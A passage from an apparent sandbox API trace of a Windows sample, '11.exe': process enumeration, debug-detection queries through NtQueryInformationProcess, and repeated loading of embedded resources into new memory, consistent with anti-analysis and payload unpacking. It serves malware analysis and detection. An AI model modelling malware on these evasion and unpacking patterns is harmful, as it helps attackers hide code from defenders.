pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.495] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.496] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.497] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.498] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.499] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.500] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0187.501] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.502] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0187.502] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0187.503] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0187.504] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.506] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0187.507] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0187.508] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0187.508] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0187.509] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0187.510] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0187.511] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0187.512] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0187.513] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0187.514] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0187.515] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0187.516] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0187.517] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0187.518] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0187.519] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0187.520] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0187.521] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0187.522] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0187.529] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0187.530] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0187.531] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0187.532] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0187.533] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0187.534] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0187.535] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0187.536] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0187.537] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0187.538] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.539] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0187.540] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0187.541] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0187.542] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0187.543] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0187.544] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0187.546] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmiadap.exe")) returned 0 [0187.547] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f744, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0187.558] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1f, ProcessInformation=0x19f994, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19f994, ReturnLength=0x0) returned 0x0 [0187.579] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x19f990, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19f990, ReturnLength=0x0) returned 0xc0000353 [0187.579] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " [0187.580] CallWindowProcW (lpPrevWndFunc=0xb20004, hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x95ac70 [0187.580] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" ", pNumArgs=0x19f994 | out: pNumArgs=0x19f994) returned 0x95ac70*="C:\\Users\\FD1HVy\\Desktop\\11.exe" [0187.591] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.591] FindResourceW (hModule=0x400000, lpName=0x3e8, lpType=0x11) returned 0x495db0 [0187.591] SizeofResource (hModule=0x400000, hResInfo=0x495db0) returned 0xa2 [0187.591] LoadResource (hModule=0x400000, hResInfo=0x495db0) returned 0x4b4340 [0187.592] VirtualAlloc (lpAddress=0x0, dwSize=0xa2, flAllocationType=0x3000, flProtect=0x4) returned 0xb50000 [0187.592] VirtualAlloc (lpAddress=0x0, dwSize=0x36e6a, flAllocationType=0x3000, flProtect=0x4) returned 0xb60000 [0187.592] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.592] FindResourceW (hModule=0x400000, lpName=0x1ef, lpType=0x1) returned 0x4959f0 [0187.592] SizeofResource (hModule=0x400000, hResInfo=0x4959f0) returned 0xc33 [0187.592] LoadResource (hModule=0x400000, hResInfo=0x4959f0) returned 0x496878 [0187.592] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.593] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.593] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.593] FindResourceW (hModule=0x400000, lpName=0x1f0, lpType=0x1) returned 0x495a00 [0187.594] SizeofResource (hModule=0x400000, hResInfo=0x495a00) returned 0xc33 [0187.594] LoadResource (hModule=0x400000, hResInfo=0x495a00) returned 0x4974ac [0187.594] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.594] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.595] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.595] FindResourceW (hModule=0x400000, lpName=0x1f1, lpType=0x1) returned 0x495a10 [0187.595] SizeofResource (hModule=0x400000, hResInfo=0x495a10) returned 0xc33 [0187.595] LoadResource (hModule=0x400000, hResInfo=0x495a10) returned 0x4980e0 [0187.595] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.595] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.596] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.596] FindResourceW (hModule=0x400000, lpName=0x1f2, lpType=0x1) returned 0x495a20 [0187.596] SizeofResource (hModule=0x400000, hResInfo=0x495a20) returned 0xc33 [0187.596] LoadResource (hModule=0x400000, hResInfo=0x495a20) returned 0x498d14 [0187.596] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.596] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.597] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.597] FindResourceW (hModule=0x400000, lpName=0x1f3, lpType=0x1) returned 0x495a30 [0187.597] SizeofResource (hModule=0x400000, hResInfo=0x495a30) returned 0xc33 [0187.597] LoadResource (hModule=0x400000, hResInfo=0x495a30) returned 0x499948 [0187.597] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.597] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.598] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.598] FindResourceW (hModule=0x400000, lpName=0x1f4, lpType=0x1) returned 0x495a40 [0187.598] SizeofResource (hModule=0x400000, hResInfo=0x495a40) returned 0xc33 [0187.598] LoadResource (hModule=0x400000, hResInfo=0x495a40) returned 0x49a57c [0187.598] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.598] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.599] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.599] FindResourceW (hModule=0x400000, lpName=0x1f5, lpType=0x1) returned 0x495a50 [0187.599] SizeofResource (hModule=0x400000, hResInfo=0x495a50) returned 0xc33 [0187.599] LoadResource (hModule=0x400000, hResInfo=0x495a50) returned 0x49b1b0 [0187.599] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.600] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.600] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.600] FindResourceW (hModule=0x400000, lpName=0x1f6, lpType=0x1) returned 0x495a60 [0187.600] SizeofResource (hModule=0x400000, hResInfo=0x495a60) returned 0xc33 [0187.600] LoadResource (hModule=0x400000, hResInfo=0x495a60) returned 0x49bde4 [0187.600] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.601] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.601] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.601] FindResourceW (hModule=0x400000, lpName=0x1f7, lpType=0x1) returned 0x495a70 [0187.601] SizeofResource (hModule=0x400000, hResInfo=0x495a70) returned 0xc33 [0187.601] LoadResource (hModule=0x400000, hResInfo=0x495a70) returned 0x49ca18 [0187.601] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.602] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.602] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.602] FindResourceW (hModule=0x400000, lpName=0x1f8, lpType=0x1) returned 0x495a80 [0187.602] SizeofResource (hModule=0x400000, hResInfo=0x495a80) returned 0xc33 [0187.602] LoadResource (hModule=0x400000, hResInfo=0x495a80) returned 0x49d64c [0187.602] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.603] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.603] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.603] FindResourceW (hModule=0x400000, lpName=0x1f9, lpType=0x1) returned 0x495a90 [0187.603] SizeofResource (hModule=0x400000, hResInfo=0x495a90) returned 0xc33 [0187.603] LoadResource (hModule=0x400000, hResInfo=0x495a90) returned 0x49e280 [0187.603] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.604] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.604] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.604] FindResourceW (hModule=0x400000, lpName=0x1fa, lpType=0x1) returned 0x495aa0 [0187.604] SizeofResource (hModule=0x400000, hResInfo=0x495aa0) returned 0xc33 [0187.604] LoadResource (hModule=0x400000, hResInfo=0x495aa0) returned 0x49eeb4 [0187.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.605] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.605] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.605] FindResourceW (hModule=0x400000, lpName=0x1fb, lpType=0x1) returned 0x495ab0 [0187.605] SizeofResource (hModule=0x400000, hResInfo=0x495ab0) returned 0xc33 [0187.605] LoadResource (hModule=0x400000, hResInfo=0x495ab0) returned 0x49fae8 [0187.605] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.606] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.606] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.606] FindResourceW (hModule=0x400000, lpName=0x1fc, lpType=0x1) returned 0x495ac0 [0187.606] SizeofResource (hModule=0x400000, hResInfo=0x495ac0) returned 0xc33 [0187.606] LoadResource (hModule=0x400000, hResInfo=0x495ac0) returned 0x4a071c [0187.606] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.607] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.607] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.607] FindResourceW (hModule=0x400000, lpName=0x1fd, lpType=0x1) returned 0x495ad0 [0187.607] SizeofResource (hModule=0x400000, hResInfo=0x495ad0) returned 0xc33 [0187.607] LoadResource (hModule=0x400000, hResInfo=0x495ad0) returned 0x4a1350 [0187.607] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.608] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.608] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.608] FindResourceW (hModule=0x400000, lpName=0x1fe, lpType=0x1) returned 0x495ae0 [0187.608] SizeofResource (hModule=0x400000, hResInfo=0x495ae0) returned 0xc33 [0187.609] LoadResource (hModule=0x400000, hResInfo=0x495ae0) returned 0x4a1f84 [0187.609] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.609] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.609] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.610] FindResourceW (hModule=0x400000, lpName=0x1ff, lpType=0x1) returned 0x495af0 [0187.610] SizeofResource (hModule=0x400000, hResInfo=0x495af0) returned 0xc33 [0187.610] LoadResource (hModule=0x400000, hResInfo=0x495af0) returned 0x4a2bb8 [0187.610] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.610] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.610] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.611] FindResourceW (hModule=0x400000, lpName=0x200, lpType=0x1) returned 0x495b00 [0187.611] SizeofResource (hModule=0x400000, hResInfo=0x495b00) returned 0xc33 [0187.611] LoadResource (hModule=0x400000, hResInfo=0x495b00) returned 0x4a37ec [0187.611] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.611] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.612] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.612] FindResourceW (hModule=0x400000, lpName=0x201, lpType=0x1) returned 0x495b10 [0187.612] SizeofResource (hModule=0x400000, hResInfo=0x495b10) returned 0xc33 [0187.612] LoadResource (hModule=0x400000, hResInfo=0x495b10) returned 0x4a4420 [0187.612] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.612] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.613] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.613] FindResourceW (hModule=0x400000, lpName=0x202, lpType=0x1) returned 0x495b20 [0187.613] SizeofResource (hModule=0x400000, hResInfo=0x495b20) returned 0xc33 [0187.613] LoadResource (hModule=0x400000, hResInfo=0x495b20) returned 0x4a5054 [0187.613] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.613] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.614] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.614] FindResourceW (hModule=0x400000, lpName=0x203, lpType=0x1) returned 0x495b30 [0187.614] SizeofResource (hModule=0x400000, hResInfo=0x495b30) returned 0xc33 [0187.614] LoadResource 